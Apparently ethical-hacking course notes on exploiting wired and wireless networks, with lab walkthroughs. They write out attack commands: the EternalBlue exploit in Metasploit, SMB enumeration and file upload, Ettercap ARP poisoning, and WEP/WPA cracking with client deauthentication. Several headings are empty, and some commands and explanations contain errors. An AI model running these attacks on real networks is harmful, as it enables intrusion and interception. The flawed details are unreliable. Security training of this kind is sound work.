Exploiting Wired and Wireless Networks

Introduction

Cyber attacks and exploits are occurring more and more all the time. You have to understand the tactics that threat actors use in order to mimic them and become a better penetration tester. In this module, you will learn about how to exploit network-based vulnerabilities, including wireless vulnerabilities. You will also learn several mitigations to these attacks and vulnerabilities.

Exploiting Network-Based Vulnerabilities

Network-based vulnerabilities and exploits can be catastrophic because of the types of damage and impact they can cause in an organization. The following are some examples of network-based attacks and exploits:

- Windows name resolution-based attacks and exploits
- DNS cache poisoning attacks
- Attacks and exploits against Server Message Block (SMB) implementations
- Simple Network Management Protocol (SNMP) vulnerabilities and exploits
- Simple Mail Transfer Protocol (SMTP) vulnerabilities and exploits
- File Transfer Protocol (FTP) vulnerabilities and exploits
- Pass-the-hash attacks
- On-path attacks (previously known as man-in-the-middle [MITM] attacks)
- SSL stripping attacks
- Denial-of-service (DoS) and distributed denial-of-service (DDoS) attacks
- Network access control (NAC) bypass
- Virtual local area network (VLAN) hopping attacks

Windows Name Resolution and SMB Attacks

Name resolution is one of the most fundamental aspects of networking, operating systems and applications. There are several name-to-IP address resolution technologies and protocols, including:

- Network Basic Input/Output System (**NetBIOS**)
- Link-Local Multicast Name Resolution (**LLMNR**)
- Domain Name System (**DNS**)

Vulnerabilities and exploits related to these protocols:

- NetBIOS Name Service and LLMNR
    - **NetBIOS** and **LLMNR** are protocols that are used primarily by Microsoft Windows for host identification
    - LLMNR, which is based on the DNS protocol format, allows hosts on the same local link to perform name resolution for other hosts
    - For example, a Windows host trying to communicate to a printer or to a network shared folder may use NetBIOS
    - **NetBIOS** provides three different services:
        - NetBIOS Name Service (**NetBIOS-NS**) for name registration and resolution
        - Datagram Service (**NetBIOS-DGM**) for connectionless communication
        - Session Service (**NetBIOS-SSN**) for connection-oriented communication
    - NetBIOS-related operations use the following ports and protocols:
        - **TCP port 135**: Microsoft Remote Procedure Call (MS-RPC) endpoint mapper, used for client-to-client and server-to-client communication
        - **UDP port 137**: NetBIOS Name Service
        - **UDP port 138**: NetBIOS Datagram Service
        - **TCP port 139**: NetBIOS Session Service

        - **TCP port 445**: SMB protocol, used for sharing files between different operating systems, including Windows and Unix-based systems
    - Some of the tools used to conduct this type of attack:
        - **NBNSpoof**
        - **Metasploit**
        - **Pupy**
        - **Responder**
    - SMB Exploits
        - **SMB** has numerous catastrophic vulnerabilities, you can explore the dozens of well-known exploits in the Exploit Database (exploit-db.com) by using the searchsploit command
            - Open a terminal, then type:
                - **searchsploit smb**
        - Detailed information about how to install SearchSploit is available at https://www.exploit-db.com/searchsploit/
    - The following is an example of using the **EternalBlue exploit** in **Metasploit**:
        - Open a terminal, then type:
        - **use exploit/windows/smb/ms17_010_eternalblue**
        - **show options**
        - To configure the RHOST, you use the set RHOST command followed by the IP address of the remote system
            - Example: **set RHOST 10.1.1.2**
        - To configure the LHOST, you use the set LHOST command followed by the IP address of the remote system
            - Example: **set LHOST 10.10.66.6**
        - The remote port (**445**) is already configured for you by default
        - To run the exploit, type:
            - **exploit**

- **Meterpreter** is a post-exploitation tool, it is part of the Metasploit framework
- You can use tools such as **Nmap** and **Enum4linux** to gather information about vulnerable SMB systems and then use tools such as Metasploit to exploit known vulnerabilities.

Scanning for SMB Vulnerabilities with enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba. Samba is an application that enables Linux and Apple clients to participate in Windows networks. It enables non-Windows clients to utilize the Server Message Block (SMB) protocol to access file and print services. Samba servers can participate in a Windows domain, both as a client and a server.

Lab - Scanning for SMB Vulnerabilities with enum4linux

- Launch enum4linux and explore its capabilities
  - Verify that enum4linux is installed and view the help file
    - Most enum4linux commands must be run as root
    - Open a terminal
    - **sudo su**
    - **enum4linux –help**
- Use Nmap to Find SMB Servers
  - Scan the virtual networks to find potential targets
    - One way to identify potential targets for SMB enumeration is to examine the open ports. Common open ports on SMB servers are:
      - TCP 135 **RPC**
      - TCP 139 **NetBIOS Session**
      - TCP 389 **LDAP Server**
      - TCP 445 **SMB File Service**
      - TCP 9389 **Active Directory Web Services**
      - TCP/UDP 137 **NetBIOS Name Service**
      - UDP 138 **NetBIOS Datagram**

        - Two virtual networks are included in the Kali VM with Docker containers. Use the **nmap -sN** command to find the services available on hosts in the 172.17.0.0 virtual network
            - **nmap -sN 172.17.0.0/24**
        - Conduct a nmap -sN scan on the 10.6.6.0/24 subnet
            - **nmap -sN 10.6.6.0/24**
- Use enum4linux to enumerate users and network file shares
    - Perform an enum4linux scan on target 172.17.0.2
        - The most common options are:
            - **-U** find configured users
            - **-S** get a list of file shares
            - **-G** get a list of the groups and their members
            - **-P** list the password policies
            - **-i** get a list of printers
        - **enum4linux -U 172.17.0.2**
        - **enum4linux -Sv 172.17.0.2**
        - **enum4linux -P 172.17.0.2**
    - Perform a simple enumeration scan on target 10.6.6.23
        - Enum4linux has an option that combines the -U, -S, -G, -P, -r, -o, -n, -i options into one command. This requires using the **-a** argument. This option quickly performs multiple SMB enumeration operations in one scan
            - **enum4linux -a 10.6.6.23**
- Use smbclient to transfer files between systems
    - Create a text file using the **cat** command. Name the file **badfile.txt**. Enter the desired text. In this example, **This is a bad file.** was used. Be sure that you know the path to the file. Press CTRL-C to when finished.

      ```
      ┌──(root㉿kali)-[/home/kali]
      └─# cat >> badfile.txt
      This is a bad file.
      ```

    - Press CRTL-C to write the file.

- Take a look at the options available with smbclient using the command smbclient –help command
  - **smbclient --help**
- Use the smbclient -L command to list the shares on the target host. This command produces a similar output to what the enum4linx command did earlier. The **double /** character before the IP address and the **/** following it are necessary if the target is a Windows computer
  - **smbclient -L //172.17.0.2/**
- Connect to the **tmp** share using the **smbclient** command by specifying the share name and IP address.
  - **smbclient //172.17.0.2/tmp**
    smb: >
  - Note that the prompt changed to the **smb:>** prompt. Type **help** to see what commands are available
- Enter **dir** to view the contents of the share
- Upload the **badfile.txt** to the target server using the **put** command
  - put *local-file-name remote-file-name*
    - => smb: > **put badfile.txt badfile.txt**
- Verify that the file successfully uploaded using the dir command
  - smb: > **dir**
- Type **quit** to exit the **smbclient** and return to the CLI prompt

DNS Cache Poisoning

DNS cache poisoning is another popular attack leveraged by threat actors. In short, DNS cache poisoning involves the manipulation of the DNS resolver cache through the injection of corrupted DNS data. This is done to force the DNS server to send the wrong IP address to the victim and redirect the victim to the attacker's system.

SNMP Exploits

- **Simple Network Management Protocol** (**SNMP**) is a protocol that many individuals and organizations use to manage network devices
- SNMP uses UDP port 161
- An administrator can use SNMP to obtain health information and the configuration of a networking device, to change the configuration and to perform other administrative tasks
- There are several versions of SNMP
    - The two most popular versions today are **SNMPv2c** and **SNMPv3**
- The managed device information is kept in a database called the **Management Information Base** (**MIB**)
- You can leverage Nmap Scripting Engine (NSE) scripts to gather information from SNMP-enabled devices and to brute-force weak credentials
    - In Kali Linux, the NSE scripts are located at /usr/share/nmap/scripts by default
        - root@kali:**/usr/share/nmap/scripts# ls -1 snmp***
        - =>
            - snmp-brute.nse
            - snmp-hh3c-logins.nse
            - snmp-info.nse
            - snmp-interfaces.nse
            - snmp-ios-config.nse
            - snmp-netstat.nse
            - snmp-processes.nse
            - snmp-sysdescr.nse
            - snmp-win32-services.nse
            - snmp-win32-shares.nse
            - snmp-win32-software.nse
            - snmp-win32-users.nse
            - root@kali:/usr/share/nmap/scripts#

- In addition to NSE scripts, you can use the **snmp-check** tool to perform an *SNMP walk* in order to gather information on devices configured for SNMP

SMTP Exploits

FTP Exploits

Pass-the-Hash Attacks

- **Mimikatz** is a tool used by many penetration testers, attackers, and even malware that can be useful for retrieving password hashes from memory; it is a very useful post-exploitation tool
    - You can download the Mimikatz tool from: https://github.com/gentilkiwi/mimikatz
- **Metasploit** also includes Mimikatz as a Meterpreter script to facilitate exploitation without the need to upload any files to the disk of the compromised host.
    - You can find more information about Mimikatz/Metasploit integration at: https://www.offensive-security.com/metasploit-unleashed/mimikatz/

Kerberos and LDAP-Based Attacks

- Kerberos is an authentication protocol defined in RFC 4120 that has been used by Windows for a number of years
    - Kerberos is also used by numerous applications and other operating systems
    - The Kerberos Consortium's website provides detailed information about Kerberos at: https://www.kerberos.org
    - A Kerberos implementation contains three basic elements:
        - Client
        - Server
        - Key distribution center (KDC), including the authentication server and the ticket-granting server

- Active Directory uses **Lightweight Directory Access Protocol** (**LDAP**) as an access protocol
    - An attacker can manipulate Kerberos tickets based on available hashes by compromising a vulnerable system and obtaining the local user credentials and password hashes
    - If the system is connected to a domain, the attacker can identify a Kerberos TGT (**KRBTGT**) password hash to get the golden ticket
    - **Empire** is a popular tool that can be used to perform *golden ticket* and many other types of attacks
        - Empire is basically a post-exploitation framework that includes a pure-PowerShell Windows agent and a Python agent
        - With Empire, you can run PowerShell agents without needing to use powershell.exe
        - You can download Empire and access demonstrations, presentations, and documentation at https://github.com/BC-SECURITY/Empire
    - A similar attack is the *Kerberos silver ticket attack*

Kerberoasting

Kerberoasting is a post-exploitation activity that is used by an attacker to extract service account credential hashes from Active Directory for offline cracking. It is a pervasive attack that exploits a combination of weak encryption implementations and improper password practices.

Kerberoasting can be an effective attack because the threat actor can extract service account credential hashes without sending any IP packets to the victim and without having domain admin credentials.

On-Path Attacks

In an **on-path attack** (previously known as a man-in-the-middle [MITM] attack), an attacker places himself or herself in-line between two devices or individuals that are communicating in order to eavesdrop (that is, steal sensitive data) or manipulate the data being transferred (such as

by performing data corruption or data modification). On-path attacks can happen at Layer 2 or Layer 3.

ARP Spoofing and ARP Cache Poisoning

- **ARP cache poisoning** (also known as ARP spoofing) can target hosts, switches, and routers connected to a Layer 2 network by poisoning the ARP caches of systems connected to the subnet and intercepting traffic intended for other hosts on the subnet
- **Media Access Control** (**MAC**) **spoofing** is an attack in which a threat actor impersonates the MAC address of another device (typically an infrastructure device such as a router)
    - The MAC address is typically a hard-coded address on a network interface controller
    - In virtual environments, the MAC address could be a virtual address (that is, not assigned to a physical adapter)
    - An attacker could spoof the MAC address of physical or virtual systems to either circumvent access control measures or perform an on-path attack
- An attack tool called **SSLStrip** uses on-path functionality to transparently look at HTTPS traffic, hijack it, and return non-encrypted HTTP links to the user in response
    - This tool was created by a security researcher called Moxie Marlinspike
    - You can download the tool from https://github.com/moxie0/sslstrip
- **Downgrade Attacks**
    - In a downgrade attack, an attacker forces a system to favor a weak encryption protocol or hashing algorithm that may be susceptible to other vulnerabilities
    - An example of a downgrade vulnerability and attack is the Padding Oracle on Downgraded Legacy Encryption (**POODLE**) vulnerability in OpenSSL, which allowed the

attacker to negotiate the use of a lower version of TLS between the client and server
    - You can find more information about the POODLE vulnerability at:
        - https://www.cisa.gov/news-events/alerts/2014/10/17/ssl-30-protocol-vulnerability-and-poodle-attack

Lab - On-Path Attacks with Ettercap

- Launch Ettercap and Explore its Capabilities
    - Set up an ARP spoofing attack
        - In this lab, the target host in this lab is the Linux device at 10.6.6.23
        - To view the network from the target perspective, and initiate traffic between the target and the server, use SSH to log in to this host
        - The user of the 10.6.6.23 host is communicating with the server at 10.6.6.13
        - The on-path attacker at 10.6.6.1 (your Kali VM) will intercept and relay traffic between these hosts
        - **ssh -l labuser 10.6.6.23**
        - **yes**
        - Use the command ip neighbor to view the current ARP cache on the target computer
            - **ip neighbor**
    - Load Ettercap GUI interface to begin scanning
        - Open a new terminal session from the menu bar in Kali Linux
        - Do not close the SSH-terminal that is running the session with 10.6.6.23
        - Use the ettercap -h command to view the help file for the Ettercap application
            - **ettercap -h**
        - To use a GUI interface to access Ettercap
            - **sudo ettercap -G**

            - You are sniffing traffic on an internal, virtual network
            - The default setup is to scan using interface **eth0**
            - Change the sniffing interface to **br-internal**, which is the interface that is configured on the 10.6.6.0/24 virtual network, by changing the value in the **Setup > Primary Interface** dropdown
            - Click the **checkbox** icon at the top right of the Ettercap screen to continue. A message appears at the bottom of the screen indicating that Unified sniffing has started
- Perform the On-Path (MITM) Attack
    - Select the Target Devices
        - In the Ettercap GUI window, open the Hosts List window by clicking the Ettercap menu (three dots icon)
        - Select the **Hosts** entry and then **Hosts List**. Click the **Scan for Hosts** icon (magnifying glass) at top left in the menu bar. A list of the hosts that were discovered on the 10.6.6.0/24 network appears in the Host List window
        - To define the source and destination devices for the attack
            - Click the IP address **10.6.6.23** in the window to highlight the target user host
            - Click the **Add to Target 1** button at the bottom of the Host List window
            - This defines the user's host as Target 1
        - Click the IP address of the destination web server at **10.6.6.13** to highlight the line. Click the **Add to Target 2** button at the bottom of the host window.
        - Click the MITM icon on the menu bar (the first circular icon on top right)
        - Select **ARP Poisoning…** from the dropdown menu
        - Verify that **Sniff remote connections** is selected. Click **OK**
        - The MITM exploit is started

        - If sniffing does not start immediately, click the **Start** option (play button) at left in the top menu
    - Perform the ARP spoofing attack
        - Return to the terminal window that is running the **SSH** session with the target user host at 10.6.6.23
        - Repeat the ping to 10.6.6.13
            - **ping -c 5 10.6.6.13**
        - Use the **ip neighbor** command to view the ARP table on 10.6.6.23 again
        - Note the MAC address listed for 10.6.6.13
- Use Wireshark to Observe the ARP Spoofing Attack
    - Select the Target Devices and Perform the MITM attack using the CLI
        - In this step, you will use the command line interface in Ettercap to perform ARP spoofing and write a .pcap file that can be opened in Wireshark
        - Refer to the help information for Ettercap to interpret the options used in the commands
        - Return to the terminal session that is connected via SSH to 10.6.6.23
        - Ping the IP addresses 10.6.6.11 and 10.6.6.13
        - 10.6.6.11 is another host on the LAN that we will verify is unaffected by the attack
        - Then, use the **ip neighbor** command to find the MAC addresses associated with the IP addresses of the two systems
            - **ping -c 5 10.6.6.11**
            - **ping -c 5 10.6.6.13**
            - **ip neighbor**
        - **Note:** To find the MAC of 10.6.6.23, go to the SSH session terminal and enter the ip address command
        - Determine the MAC address of the interface that is addressed on the 10.6.6.0/24 network
        - The **ettercap -T** command runs Ettercap in text mode, instead of using the GUI interface

        - The syntax to start Ettercap and specify the targets is:
            - **sudo ettercap -T [options] -q -i [interface] --write [file name] -- mitm arp /[target 1]// /[target 2]//**
        - In a terminal window, enter the command as follows to save the **pcap** file in the current working directory:

```
┌──(kali@kali)-[~]
└─$sudo ettercap -T -q -i br-internal --write mitm-saved.pcap --mitm arp /10.6.6.23// /10.6.6.13//
```

        - Return to the SSH terminal session to 10.6.6.23. Ping the two IP addresses, 10.6.6.11 and 10.6.6.13, again
        - Use the **ip neighbor** command to view the associated MAC addresses
        - Close the SSH terminal session that is connected to 10.6.6.23 and return to the terminal session running Ettercap in text mode
        - Enter **q** to quit Ettercap
    - Open Wireshark to view the Saved PCAP file
        - In this step, you will examine the **.pcap** file that Ettercap created
        - Review the MAC addresses that you recorded earlier
        - The MAC address for 10.6.6.23 can be found in the output of the Ettercap text interface in Target Group 1
        - In the Kali terminal window, start Wireshark with the **mitm-saved.pcap** file that you created with Ettercap

```
┌──(kali@kali)-[~]
└─$ wireshark mitm-saved.pcap
```

        - The Ettercap attack computer first broadcasts ARP requests to obtain the actual MAC addresses for the two target hosts, 10.6.6.23 and 10.6.6.11

        - The attacking machine then begins to send ARP responses to both target hosts using its own MAC for both IP addresses
        - This causes the two target hosts to address the Ethernet frames to the attacker's computer, which enables it to collect data as an on-path attacker

Route Manipulation Attacks

- **Border Gateway Protocol** (**BGP**) is one of the most common hijacking attacks
- BGP is a dynamic routing protocol used to route Internet traffic
- An attacker can launch a BGP hijacking attack by configuring or compromising an edge router to announce prefixes that have not been assigned to his or her organization
- If the malicious announcement contains a route that is more specific than the legitimate advertisement or that presents a shorter path, the victim's traffic could be redirected to the attacker
- The attacker compromises a router and performs a BGP hijack attack to intercept traffic between Host A and Host B

DoS and DDoS Attacks

- **Denial-of-service** (**DoS**) and **Distributed DoS** (**DDoS**) attacks have been around for quite some time, but there has been heightened awareness of them over the past few years
- DoS attacks can generally be divided into the following categories:
    - **Direct**
        - A direct DoS attack occurs when the source of the attack generates the packets, regardless of protocol, application, and so on, that are sent directly to the victim of the attack
        - Another type of DoS attack involves exploiting vulnerabilities such as buffer overflows to cause a server or even a network infrastructure device to crash, subsequently causing a DoS condition
    - **Botnet**

        - A botnet is a collection of compromised machines that the attacker can manipulate from a command and control (CnC, or C2) system to participate in a DDoS attack, send spam emails, and perform other illicit activities
    - **Reflected**
        - With reflected DoS and DDoS attacks, attackers send to sources spoofed packets that appear to be from the victim, and then the sources become unwitting participants in the reflected attack by sending the response traffic back to the intended victim
        - UDP is often used as the transport mechanism in such attacks because it is more easily spoofed due to the lack of a three-way handshake
    - **Amplification**
        - An amplification attack is a form of reflected DoS attack in which the response traffic (sent by the unwitting participant) is made up of packets that are much larger than those that were initially sent by the attacker (spoofing the victim)
        - An example of this type of attack is an attacker sending DNS queries to a DNS server configured as an open resolver. Then the DNS server (open resolver) replies with responses much larger in packet size than the initial query packets
        - The end result is that the victim's machine gets flooded by large packets for which it never actually issued queries

Network Access Control (NAC) Bypass

VLAN Hopping

DHCP Starvation Attacks and Rogue DHCP Servers

- The two most popular attacks against DHCP servers and infrastructure

1. **DHCP starvation**
2. **DHCP spoofing**

- In a DHCP starvation attack, an attacker broadcasts a large number of DHCP REQUEST messages with spoofed source MAC addresses
- If the DHCP server responds to all these fake DHCP REQUEST messages, available IP addresses in the DHCP server scope are depleted within a few minutes or seconds
- After the available number of IP addresses in the DHCP server is depleted, the attacker can then set up a rogue DHCP server and respond to new DHCP requests from network DHCP clients
- To create a rogue DHCP server and launch DHCP starvation and spoofing attacks
    - We use a tool called **Yersenia**

Exploiting Wireless Vulnerabilities

Rogue Access Points

One of the most simplistic wireless attacks involves an attacker installing a ***rogue AP*** in a network to fool users to connect to that AP. Basically, the attacker can use that rogue AP to create a backdoor and obtain access to the network and its systems

Evil Twin Attacks

In an ***evil twin attack***, the attacker creates a rogue access point and configures it exactly the same as the existing corporate network

Disassociation (or Deauthentication) Attacks

- Wireless passive tools like **Kismet** or **KisMAC**, listen to and capture SSIDs and any other wireless network traffic
- In addition, tools such as **Airmon-ng** (which is part of the **Aircrack-ng suite**) can perform this reconnaissance
    - The **Aircrack-ng suite** of tools can be downloaded from https://www.aircrack-ng.org

- For a list of wireless adapters and their specifications that can help you build your wireless lab, see https://theartofhacking.org/github

Preferred Network List Attacks

- Operating systems and wireless supplicants (clients), in many cases, maintain a list of trusted or preferred wireless networks
- This is also referred to as the **preferred network list** (**PNL**)
- A PNL includes:
    - Wireless network SSID
    - Plaintext passwords, or WEP or WPA passwords
- Clients use these preferred networks to automatically associate to wireless networks when they are not connected to an AP or a wireless router
- It is possible for attackers to listen to these client requests and impersonate the wireless networks in order to make the clients connect to the attackers' wireless devices and eavesdrop on their conversation or manipulate their communication

Wireless Signal Jamming and Interference

- The purpose of jamming wireless signals or causing wireless network interference is to create a full or partial DoS condition in the wireless network
- In order to jam a Wi-Fi signal or any other type of radio communication, an attacker basically generates random noise on the frequencies that wireless networks use

War Driving

A popular site among war drivers is WiGLE (https://wigle.net). The site allows users to detect Wi-Fi networks and upload information about the networks by using a mobile app.

Initialization Vector (IV) Attacks and Unsecured Wireless Protocols

- Attacks Against WEP
    - An attacker can use the **Aircrack-ng** set of tools to crack (recover) the WEP PSK
    - Using Airmon-ng to Monitor a Wireless Network
        - **airmon-ng start wlan0 11**
            - The wireless interface is wlan0, and the selected wireless channel is 11
    - Using Airodump-ng to Listen to All Traffic to the BSSID 08:02:8E:D3:88:82
        - **airodump-ng -c 11 --bssid 08:02:8E:D3:88:82 -w omar_capture wlan0**
    - Using Aireplay-ng to Inject ARP Packets
        - **aireplay-ng -3 -b 08:02:8E:D3:88:82 -h 00:0F:B5:88:AC:82 wlan0**
    - Using Aircrack-ng to Crack the WEP PSK
        - **aircrack-ng -b 08:02:8E:D3:88:82 omar_capture.cap**
- Attacks Against WPA
    - **WPA** and WPA version 2 (**WPA2**) are susceptible to different vulnerabilities
    - WPA version 3 (**WPA3**) addresses all the vulnerabilities to which WPA and WPA2 are susceptible, and many wireless professionals recommend WPA3 to organizations and individuals
    - Steps to perform this attack by using the **Aircrack-ng** suite of tools
        1. Start the wireless interface in monitoring mode
            a. **airmon-ng start wlan0**
        2. Using Airodump-ng to View the Available Wireless Networks and Then Capturing Traffic to the Victim BSSID
            a. Example: **airdump-ng --channel 11 --write wpa_capture --bssid 08:02:8E:D3:88:82 wlan0**
        3. Using Aireplay-ng to Disconnect the Wireless Clients

        a. **aireplay-ng -0 0 .a 08:02:8E:D3:88:82 wlan0**
    4. Using Aircrack-ng to crack the WPA PSK by using a word list
        a. **aircrack-ng -w wordlistname wpa_capture-02.cap**
    5. The tool takes a while to process, depending on the computer power and the complexity of the PSK, when done, a window will show up
- KRACK Attacks
    - For details about KRACK attacks, see https://blogs.cisco.com/security/wpa-vulns
- WPA3 Vulnerabilities
- Wi-Fi Protected Setup (WPS) PIN Attacks
    - Wi-Fi Protected Setup (WPS) is a protocol that simplifies the deployment of wireless networks
    - A tool called Reaver makes WPS attacks very simple and easy to execute. You can download Reaver from https://github.com/t6x/reaver-wps-fork-t6x

KARMA Attacks

Fragmentation Attacks

- Packetforge-ng Tool Options
    - root@kali:~# **packetforge-ng**
- You can find a paper describing and demonstrating fragmentation attacks at:
    - http://download.aircrack-ng.org/wiki-files/doc/Fragmentation-Attack-in-Practice.pdf

Credential Harvesting

- Credential harvesting is an attack that involves obtaining or compromising user credentials
- Tools such as **Ettercap** can spoof DNS replies and divert a user visiting a given website to an attacker's local system

- Another tool that enables this type of attack is the **Social-Engineer Toolkit** (**SET**)

Bluejacking and Bluesnarfing

- ***Bluejacking*** is an attack that can be performed using Bluetooth with vulnerable devices in range
    - You can find an excellent paper describing Bluejacking at http://acadpubl.eu/jsi/2017-116-8/articles/9/72.pdf
- ***Bluesnarfing*** attacks are performed to obtain unauthorized access to information from a Bluetooth-enabled device
    - An attacker can launch Bluesnarfing attacks to access calendars, contact lists, emails and text messages, pictures, or videos from the victim
    - Bluesnarfing attacks can also be used to obtain the **International Mobile Equipment Identity** (**IMEI**) number for a device
        - Attackers can then divert incoming calls and messages to another device without the user's knowledge
    - Using the Bluesnarfer Tool to Obtain a Device Name
        - Example: **bluesnarfer -b DE:AD:BE:EF:12:23 -i**
- Bluesnarfing is considered riskier than Bluejacking because:
    - Bluejacking attacks only transmit data to the victim device
    - Bluesnarfing attacks actually steal information from the victim device

Bluetooth Low Energy (BLE) Attacks

- Numerous IoT devices use Bluetooth Low Energy (BLE) for communication

Radio-Frequency Identification (RFID) Attacks

- **Radio-frequency identification** (**RFID**) is a technology that uses electromagnetic fields to identify and track tags that hold electronically stored information

- There are active and passive RFID tags
    - **Active tags** have local power sources and can operate from longer distances
    - **Passive tags** use energy from RFID readers (via radio waves)
- Many organizations use **RFID tags** to track inventory or in badges used to enter buildings or rooms
- **RFID tags** can even be implanted into animals or people to read specific information that can be stored in the tags
- There are three RFID tags Frequencies:
    - **Low-frequency** (**LF**) **RFID tags** and devices operate at frequencies between **120kHz** and **140kHz**, and they exchange information at distances shorter than **3 feet**
    - **High-frequency** (**HF**) **RFID tags** and devices operate at the **13.56MHz** frequency and exchange information at distances between **3** and **10 feet**
    - **Ultra-high-frequency** (**UHF**) **RFID tags** and devices operate at frequencies between **860MHz** and **960MHz** (regional) and exchange information at distances of up to **30 feet**
- A few attacks are commonly launched against RFID devices:
    - Attackers can silently steal RFID information (such as a badge or a tag) with an RFID reader such as the **Proxmark3** (https://proxmark.com) by just walking near an individual or a tag.
    - Attackers can create and clone an RFID tag (in a process called RFID cloning). They can then use the cloned RFID tags to enter a building or a specific room.
    - Attackers can implant skimmers behind RFID card readers in a building or a room.
    - Attackers can use amplified antennas to perform NFC amplification attacks. Attackers can also use amplified antennas to exfiltrate small amounts of data, such as passwords and encryption keys, over relatively long distances.

Password Spraying

Exploit Chaining

Most sophisticated attacks leverage multiple vulnerabilities to compromise systems. An attacker may “**chain**” (that is, use multiple) exploits against known or zero-day vulnerabilities to compromise systems, steal, modify, or corrupt data.